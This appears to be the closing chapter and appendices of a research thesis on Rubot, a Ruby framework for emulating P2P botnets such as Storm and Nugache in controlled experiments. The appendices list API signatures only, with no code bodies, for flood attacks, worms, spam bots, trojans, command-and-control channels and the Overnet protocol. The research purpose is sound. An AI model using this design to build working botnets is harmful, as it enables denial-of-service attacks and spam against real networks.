Nugache botnets. The Rubot framework arose from the frustrations of studying and
measuring current P2P botnets. New researchers have many barriers because of the
nature of the topic. Botmasters hide their activities, mature researchers hide their
findings, and there are legal issues in studying botnets. Furthermore, since there are
few if any reproducible results, there is very little science in studying botnets.
The Rubot framework provides the components, models, and examples to allow
researchers at all levels, to produce systematic research and to share models. System-
atic research is possible because the entire botnet is under the control of the researcher
and each endpoint can be instrumented for the needed measurements. Model shar-
ing is now possible because the models have little to no malicious use or intellectual
property issues.
6.1 Issues Pertaining to Botnet Research
There are three main issues in botnet research that promote the need of an exper-
imental framework: acquisition of botnet samples/code bases, reproducibility, and
legal liability.
The first hurdles researchers face is understanding the basics of how botnets oper-
ate and acquiring samples of interest. The reason that acquiring samples is difficult
is because criminals do not want their malware analyzed and the security community
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is hesitant to share with someone who is not vetted. The framework allows for re-
searchers to understand the botnet without reverse engineering and to share models
without fear of giving criminals advantages. After the experiment is done, the results,
such as packet traces, can be shared without issue.
Because botmasters attempt to evade detection and monitoring, it is often quite
difficult for researchers to obtain visibility into the operation of the botnet. So not
only is it sometimes hard to judge what the botnet is doing, its impossible to re-
produce the actions. This does not lend itself to rich research. With the Rubot
framework, results are reproducible and other researchers can verify the results and
implementation.
Running malware can place researchers in legally disadvantageous positions. Al-
lowing outbound attacks can imply that the researcher was negligent or intentionally
attacking others. Since botmasters often send test messages or launch test scans to
see if the node will respond correctly to commands, blocking outbound activity could
tip the botmasters off to the fact that they are being monitored, causing them to
evade. If during the monitoring of a botnet, the researcher captures regular traffic,
then there are privacy issues as well. Although untested in court, there is a civil
case against reverse engineering of the malware because of the DMCA. Lastly, none
of the results can be used in a court of law and may actually work in favor of the
criminals. When using the Rubot framework, you have implicit consent of all the
effective end-points and avoid all of these legal liabilities.
6.2 Measuring P2P Botnets
In this work, I described several methods for measuring P2P botnets and the chal-
lenges in doing so. The first step in measuring botnets in general was to inspect
the available source code bases. In those code bases, I found a very strong tendency
towards packeting attacks, spam, and spying methods. A good number had updating
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routines. The second method that I employed was binary reverse engineering using
both static code analysis and live memory tracing. The third technique that I devel-
oped, Winebots, used the WINE emulator as a ultra-lightweight emulator to run a
large number of bot samples simultaneously in order to map out peers in the botnet.
The last deployed method deployed was custom-built, protocol-aware crawlers that
queried each discovered node for more peers. The P2P network measurements, using
Winebots and crawlers, folded into an analysis of the utility of various P2P botnet
structures.
Each of these techniques had limitations. Malware source code is often impossible
to obtain, especially for the more professionally built (and thus interesting) botnets.
Binary reverse engineering is extremely time consuming and requires a high level
of skill. Winebots can only emulate a subset of the Win32 API and cannot do all
the functions in the malware–often leading it to crash. Crawlers requires that nodes
give information about peers and that those peers can be directly contacted, i.e., not
behind a stateful firewall.
Rubot alleviates all these limitations by allowing the researcher to understand
and control how the botnet functions and have ground truth of the deployment of
the botnet. This alleviates the need for time-consuming reverse engineering or vir-
tualization technologies which may or may not be detected or emulate the functions
correctly. Crawlers can be tested in a variety of ways and their effectiveness can be
measured against the true deployment. Most importantly, Rubot allows researchers
to implement new behaviors that current botnets may not exhibit.
6.3 Rubot Framework
The Rubot framework serves the critical need for scientific endeavor by providing
common models and required services in running and measuring a wide variety of
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botnets. This enables novel research in the area of botnet structures, evasion tech-
niques, and detection. While I discourage “worst of breed” research, Rubot is a
powerful framework for that style of inquiry. More importantly, IDS evasion and
better botnet detection research are the future goals of this framework and enables
it by providing common network behaviors of botnets.
The network behavior models included in Rubot falling the following categories
and the API is listed in Listing A.1:
1. Services - network accessible services like DNS and HTTP servers.
2. Vulnerability models - generic services and client-side behaviors that can lead
to exploitation.
3. Attack models - network-based malfeasance, such as packeting and spamming.
4. Updating model - mechanism that allows a bot to be “upgraded” and change
behavior.
5. Communication models - protocol used to connect to the C&C and/or other
bots.
6. Composite models - encapsulation of multiple models into one bundle that em-
ulates a certain type of bot.
The Storm model extends the Rubot API and utilizes the Overnet API. The
Storm model uses the Rubot P2PBot model and and uses Overnet to advertise and
search for supernodes and subnodes. The Storm API is provided in Listing B.1 and
the Overnet API is provided in Listing C.1. The Storm model provides an excellent
example of how to utilize the Rubot API to create complex models.
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6.4 Future Work
As the major contribution of this work is a framework, it serves as a foundation on
which much future work can be built. However, the following four major features that
warrant elevated attention: testbed support, simulator integration, instant messenger
models, and sensor models.
6.4.1 Testbed Support
Testbeds allow for large-scale network testing in either open or closed environments.
Testbeds would provide the computational and network support required to evalu-
ate large botnets under a variety of scenarios. Two leading testbeds of interest are
PlanetLab [27] and Deter [5]. PlanetLab provides virtual “slices” to conduct exper-
iments across a large number of Internet-connected hosts. The Deter testbed uses a
Emulab-based simulation to configure the network and run the simulation.
6.4.2 Simulator Integration
The NS3 simulator [19] has the ability to run external binaries and connect them to
virtual nodes within the simulated topology. I plan to work with the implementors of
the external bindings and tie the Rubot botnet experimentation framework into NS3.
This combination of emulation and simulation will allow for highly instrumented,
large-scale, yet simple to implement botnet experiments.
6.4.3 Instant Messenger Models
A large number of infections today are due to criminals tricking people into clicking
on malicious links. Aside from Web pages and email, instant messenger is the largest
vector for delivering malicious links to victims. The Rubot framework would be well-
served by incorporating an instant messaging server and client. Ruby has had support
for Jabber clients for some time and recently a half-implemented project for the server
has appeared.
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6.4.4 Sensor Models
Since a large focus of the framework was to allow researchers to test their detection
algorithms, such as BotHunter [17], on the emulated botnets, the Rubot framework
doesn’t contain any detection models. It would be beneficial to include base models
for detectors such as honeypots, darknets, and intrusion detection systems (IDS).
These base models could serve as a framework for detection just as the current Rubot
models serve for botnets.
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APPENDIX A
RUBOT API
class Logger
def i n i t i a l i z e ( port =9999 , s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ )
def warn (msg)
def i n f o (msg)
def f a t a l (msg)
class Cal lback
def i n i t i a l i z e ( c a l l b a ck=ni l )
def c a l l ( c a l l e r , ip , port , message )
class Engine < Thread
class Bot < Engine
def c a l l ( c a l l e r , ∗ args )
def i r c c b ( c a l l e r , nick , user , host , cmd , tonick , msg)
def http cb ( c a l l e r , code , body )
def t cpsuper cb ( c a l l e r , peer , msg)
def t cppee r cb ( c a l l e r , peer , msg)
def udppeer cb ( c a l l e r , peer , msg)
def httpupdater cb ( c a l l e r , code , body , current , conf ignames )
def stop
class Host < Engine
############### VULNERABLE SERVICES ##############
class Explo i t
def i n i t i a l i z e ( exp l o i t , c a l l b a ck )
def t e s t ( bu f f e r )
def c a l l ( obj , msg)
class VulnerableTCPService < Thread
def i n i t i a l i z e ( e xp l o i t s , port )
def s t a r t
def stop
class VulnerableUDPService < Thread
def i n i t i a l i z e ( e xp l o i t s , port )
def s t a r t
def stop
class VulnerableWebServer < VulnerableTCPService
def i n i t i a l i z e ( e xp l o i t s , port=2080)
def s t a r t
class Vulnerab l eC l i ent < Thread
class VulnerableWebBrowser < Vulnerab l eC l i ent
def i n i t i a l i z e ( ur l s , rate , e x p l o i t s )
def s t a r t
def stop
class WebBrowserTrojan < Vulnerab l eC l i ent
def i n i t i a l i z e ( ur l s , e f f e c t i v e n e s s , rate , e x p l o i t s )
def s t a r t
def stop
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class Pop3EmailTrojan < Vulnerab l eC l i ent
def i n i t i a l i z e ( se rver , port , username , password , i n t e r va l , ca l lback ,
e f f e c t i v e n e s s =1)
def s t a r t
def stop
############### BAD THINGS ##############
class Malevanence < Thread
def stop
class SpamTemplate
def i n i t i a l i z e ( template , t o ema i l s = [ ] , f rom emai l s = [ ] , s ub j e c t s = [ ] ,
bod ie s = [ ] )
def each
def to a ( sep=”\n” )
class SpamBot < Malevanence
def i n i t i a l i z e ( spamtemplate , r a t e=1)
def s t a r t
class TCPWorm < Malevanence
def i n i t i a l i z e ( rate , model , port , payload )
def s t a r t
class UDPWorm < Malevanence
def i n i t i a l i z e ( rate , model , port , payload )
def s t a r t
class Packeting < Malevanence
class SYNFlood < Packeting
def i n i t i a l i z e ( target , port , r a t e =1, durat ion=60)
def s t a r t
class UDPFlood < Packeting
def i n i t i a l i z e ( target , port , r a t e =1, durat ion=60)
def s t a r t
class ICMPFlood < Packeting
def i n i t i a l i z e ( target , f type , code , r a t e =1, durat ion=60)
def s t a r t
class PortScan < Packeting
def i n i t i a l i z e ( ta rge t s , por t s )
def s t a r t
class CloneFlood < Malevanence
def i n i t i a l i z e ( s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ , port =6667 , count=100)
def send ( s ,m)
def hand l e s e r v e r i npu t ( s ,m)
def s t a r t
def c lonesend (msg)
class LinearScan
def i n i t i a l i z e ( s t a r t i p=” 0 . 0 . 0 . 0 ” , endip=” 255 . 255 . 255 . 255 ” )
def next
class SubnetScan
def i n i t i a l i z e ( subnets = [ ] )
def next
def c id r2 range ( c i d r )
class RandomScan
def i n i t i a l i z e ( low=” 0 . 0 . 0 . 0 ” , high=” 255 . 255 . 255 . 255 ” , percent=1)
def next
class RandomWithoutRepeatScan
def i n i t i a l i z e ( c i d r s =[” 192 . 168 . 0 . 0/24 ” ] )
def next
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def c id r2 range ( c i d r )
############### COMMAND AND CONTROL CHANNELS ##############
class CommandAndControl < Thread
class IRCBot < CommandAndControl
def i n i t i a l i z e ( s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ , port=’ 6667 ’ , n ick=’ IRCBot ’ ,
channel=’ rubot ’ , admins=’ botmaster ’ , c a l l b a ck=ni l )
def send ( s )
def hand l e s e r v e r i npu t ( s )
def s t a r t
def stop
class HTTPBot < CommandAndControl
def i n i t i a l i z e ( ur l , i n t e r va l , ca l lback , useragent=’ rubot /0 .1 ’ )
def authen t i c a t i on ( user , pass )
def s t a r t
def stop
############### P2P Baby ! ##############
class Peer
def i n i t i a l i z e ( ip , port , ptype , data )
def t o s
class PeerType
def PeerType : : name( ptype )
class MessageType
class Message < Struct . new ( : src , : dst , : mtype , : data ) ; end
class ProxyRequest < Struct . new ( : dst ip , : dstport , : proto ) ; end
class Peer2Peer < Thread
def proce s s ( peer , msg)
class TCPSuperNode < Peer2Peer
def i n i t i a l i z e ( port =2008 , c a l l b a ck=nil , peermanager=nil , s e a r ch t ab l e
=nil , p r e s en ta t i on=ni l )
def s t a r t
def stop
class TCPPeerBot < Peer2Peer
def i n i t i a l i z e ( supernodes=nil , c a l l b a ck=nil , peermanager=nil ,
p r e s en ta t i on=nil , s earch=ni l )
def s t a r t
def stop
def send (msg , to=ni l )
def connect ( peer )
class TCPPresentation
def i n i t i a l i z e
def recv ( sock )
def send ( peer , msgs )
class UDPPeerBot < Peer2Peer
def i n i t i a l i z e ( supernodes=nil , port=0, c a l l ba ck=nil , peermanager=nil
, p r e s en ta t i on=nil , s e a r ch t ab l e=ni l )
def s t a r t
def stop
def send (msg , to=ni l )
def connect ( peer )
class UDPPresentation
def i n i t i a l i z e
def recv ( sock )
def send ( peer , msgs )
class PeerManager
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def i n i t i a l i z e
def add ( peer )
def get (n=3)
def supernodes
def peernodes
def remove ( peer )
def remove bysock ( c )
def lookup ( ip , port )
def each
class FlatSearchTable
def i n i t i a l i z e
def pub l i sh ( key , va lue )
def unpubl ish ( key )
def search ( key )
############### PROXIES ##############
class Proxy < Thread
class TCPProxy < Proxy
def i n i t i a l i z e ( dst ip , ds tpor t )
def s t a r t
def stop
class UDPProxy < Proxy
def i n i t i a l i z e ( dst ip , ds tpor t )
def s t a r t
def stop
############### SERVICES ##############
class ResourceRecord < Struct . new ( : name , : k l a s s , : type , : t t l , : answer )
; end
class FastFlux < Thread
def i n i t i a l i z e ( port=2053)
def s t a r t
def stop
def add record (qname , r c l a s s , rtype , answer , t t l =300)
def de l r e c o r d (qname , r c l a s s , rtype , answer )
def g e t r e c o r d s (qname , qc l a s s , qtype )
############### UPDATE ##############
class Updater < Thread
def i n i t i a l i z e ( con f i g s , cur rent )
def s t a r t
def switch ( newconf ig )
def stop
class UpdaterCallback
def c a l l ( updateobj , code , body , current , conf ignames )
class HTTPUpdater < Updater
def i n i t i a l i z e ( ur l , i n t e r va l , c on f i g s , current , ca l lback , useragent=
’ rubot /0 .1 ’ )
def authen t i c a t i on ( user , pass )
def s t a r t
############### COMPOSITE MODELS ##############
class GTBot < Bot
def i n i t i a l i z e ( s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ , port=’ 6667 ’ , n ick=’ IRCBot ’ ,
channel=’#t e s t ’ , admins=[ ’ botmaster ’ ] , updater=ni l )
def s t a r t
def i r c c b ( c a l l e r , nick , user , host , cmd , tonick , msg)
class NugacheHTTP
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def v i s i t ( ur l , wait )
def execute ( u r l )
class AESStream
def i n i t i a l i z e ( key , i v )
def encrypt (msg)
def pad (n=1)
def xor ( s1 , s2 )
class NugacheSession
def i n i t i a l i z e ( sock , rsakey , ver s ion , c l i e n t=true )
def connect
def recv
def hand l e c l i e n t
def hand l e s e rv e r
def send (m)
class NugacheControl ler < Bot
def i n i t i a l i z e ( pee r s )
def s t a r t
def connect ( peer )
def send ( peer , msg)
def s i gn (cmd)
def proce s s ( peer , msg)
class NugacheBot < Bot
def i n i t i a l i z e ( port =2008 , pee r s = [ ] , c a l l b a ck=ni l )
def v e r i f y (msg)
def connect ( peer )
def s t a r t
def send ( peer , msg)
def stop
def peer s
def proce s s ( peer , msg)
Listing A.1: Rubot API
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APPENDIX B
STORM API
class St r ing
def xor ! ( key )
def ˆ( key )
def hexxor ( key )
def checksum
def gz ip compress
def gz ip decompress
def base64 encode
def base64 decode
def to storm
def from storm
def ip2storm
def storm2ip
class StormServerSess ion < Thread
def i n i t i a l i z e ( stormbot , c l i e n t s o c k e t , c a l l b a ck=ni l )
def s t a r t
def send (msg)
def recv
def c l o s e
def stop
def proce s s (msg)
class StormCl ientSes s ion < Thread
def i n i t i a l i z e ( stormbot , ip , port , c a l l b a ck=ni l )
def s t a r t
def send (msg)
def recv
def c l o s e
def stop
def proce s s (msg)
class TCPPeer < Struct . new ( : ip , : port ) ; end
class SuperNodeProxySession < Thread
def i n i t i a l i z e ( subcon , c l i e n t s o c k )
def s e r v i c e ( buf , c l i e n t i p )
class SuperNodeProxy < Thread
def i n i t i a l i z e ( subcons =[ ] , port=0, s e rv=ni l )
def s t a r t
def stop
class Subcont ro l l e rProxySes s i on < Thread
def i n i t i a l i z e ( master , c l i e n t s o c k )
class Subcontro l l e rProxy < Thread
def i n i t i a l i z e ( masters = [ ] , port=0, s e rv=ni l )
def s t a r t
def stop
class MasterProxySess ion < Thread
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def i n i t i a l i z e ( webserver , c l i e n t s o c k )
class MasterProxy < Thread
def i n i t i a l i z e ( webservers = [ ] , port=0, s e rv=ni l )
def s t a r t
def stop
class SubnodeServer < Thread
def i n i t i a l i z e ( bot , port=0, s e rv=ni l )
def s t a r t
def stop
class StormBot < Peer2Peer
def i n i t i a l i z e ( peers , c a l l b a ck=nil , ptype=Overnet : : PeerType : :SUBNODE
, upstream =[ ] )
def s t a r t
def storm rand
def generate hash
def c on f i g
def StormBot : : r e ad c on f i g ( c on f i g )
def searchhashes ( a c t i va t ed = fa l se )
def r e su l tha sh ( ip , port )
def pa r s e r e s u l t ( hash )
def c a l l ( peer , msg)
def l o g i n ( ip , port )
def bol ( ip , port )
def bo l r e cv ( sock )
def promote ( ptype )
Listing B.1: Rubot::Storm API
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APPENDIX C
OVERNET API
class PeerType
class OvernetEngine < Thread
def i n i t i a l i z e (myhash , peers , key , port=0)
def c on f i g
def s t a r t
def search ( stype , hash , c a l l b a ck=ni l )
def pub l i c i z e ( peer=@myself )
def pub l i sh ( hash1 , hash2 , tags = [ ] )
def pub l i s h t o ( peer , hash1 , hash2 , tags = [ ] )
def udp recv
def udp send ( peer , msg)
def proce s s ( peer , msg)
class OvernetPeerManager
def i n i t i a l i z e
def add ( peer )
def get (n=3)
def c l o s e s t ( hash , n=9)
def supernodes
def peernodes
def remove ( peer )
def remove bysock ( c )
def lookup ( ip , port )
def each
class OvernetSearchTable
def i n i t i a l i z e
def pub l i sh ( key , value , tags = [ ] )
def unpubl ish ( key )
def search ( key )
class Peer
def i n i t i a l i z e ( hash , ip , port , ptype )
def l ength
def pack
def Peer . parse ( pkt )
def Peer . l ength
def t o s
def t o c o n f i g
def Peer . f r om con f i g ( c on f i g )
class Tag
def i n i t i a l i z e ( ttype , name , s t r i n g )
def l ength
def pack
def Tag . parse ( pkt )
def t o s
class Packet
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def Packet . parse ( pkt )
def l ength
class Connect < Packet
def i n i t i a l i z e ( peer )
def pack
def Connect . parse ( pkt )
def t o s
class ConnectReply < Packet
def i n i t i a l i z e ( pee r s )
def pack
def ConnectReply . parse ( pkt )
def t o s
class Pub l i c i z e < Packet
def i n i t i a l i z e ( peer )
def pack
def Pub l i c i z e . parse ( pkt )
def t o s
class Publ ic izeAck < Packet
def i n i t i a l i z e
def pack
def Publ ic izeAck . parse ( pkt )
def t o s
class Search < Packet
def i n i t i a l i z e ( stype , hash )
def pack
def Search . parse ( pkt )
def t o s
class SearchNext < Packet
def i n i t i a l i z e ( hash , pee r s )
def pack
def SearchNext . parse ( pkt )
def t o s
class SearchIn fo < Packet
def i n i t i a l i z e ( hash , stype , min , max)
def pack
def SearchIn fo . parse ( pkt )
def t o s
class SearchResult < Packet
def i n i t i a l i z e ( hash1 , hash2 , tags )
def pack
def SearchResult . parse ( pkt )
def t o s
class SearchEnd < Packet
def i n i t i a l i z e ( hash )
def pack
def SearchEnd . parse ( pkt )
def t o s
class Publ ish < Packet
def i n i t i a l i z e ( hash1 , hash2 , tags )
def pack
def Publ ish . parse ( pkt )
def t o s
class PublishAck < Packet
def i n i t i a l i z e ( hash )
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def pack
def PublishAck . parse ( pkt )
def t o s
class Ident i f yRep ly < Packet
def i n i t i a l i z e ( hash , ip , port )
def pack
def Ident i f yRep ly . parse ( pkt )
def t o s
class Ident i fyAck < Packet
def i n i t i a l i z e ( port )
def pack
def Ident i fyAck . parse ( pkt )
def t o s
class Fi r ewa l l < Packet
def i n i t i a l i z e ( hash , port )
def pack
def Fi r ewa l l . parse ( pkt )
def t o s
class Firewal lAck < Packet
def i n i t i a l i z e ( hash )
def pack
def Firewal lAck . parse ( pkt )
def t o s
class Firewal lNack < Packet
def i n i t i a l i z e ( hash )
def pack
def Firewal lNack . parse ( pkt )
def t o s
class IPQuery < Packet
def i n i t i a l i z e ( port )
def pack
def IPQuery . parse ( pkt )
def t o s
class IPQueryAnswer < Packet
def i n i t i a l i z e ( ip )
def pack
def IPQueryAnswer . parse ( pkt )
def t o s
class IPQueryDone < Packet
def i n i t i a l i z e
def pack
def IPQueryDone . parse ( pkt )
def t o s
class I d e n t i f y < Packet
def i n i t i a l i z e
def pack
def I d e n t i f y . parse ( pkt )
def t o s
Listing C.1: Overnet API
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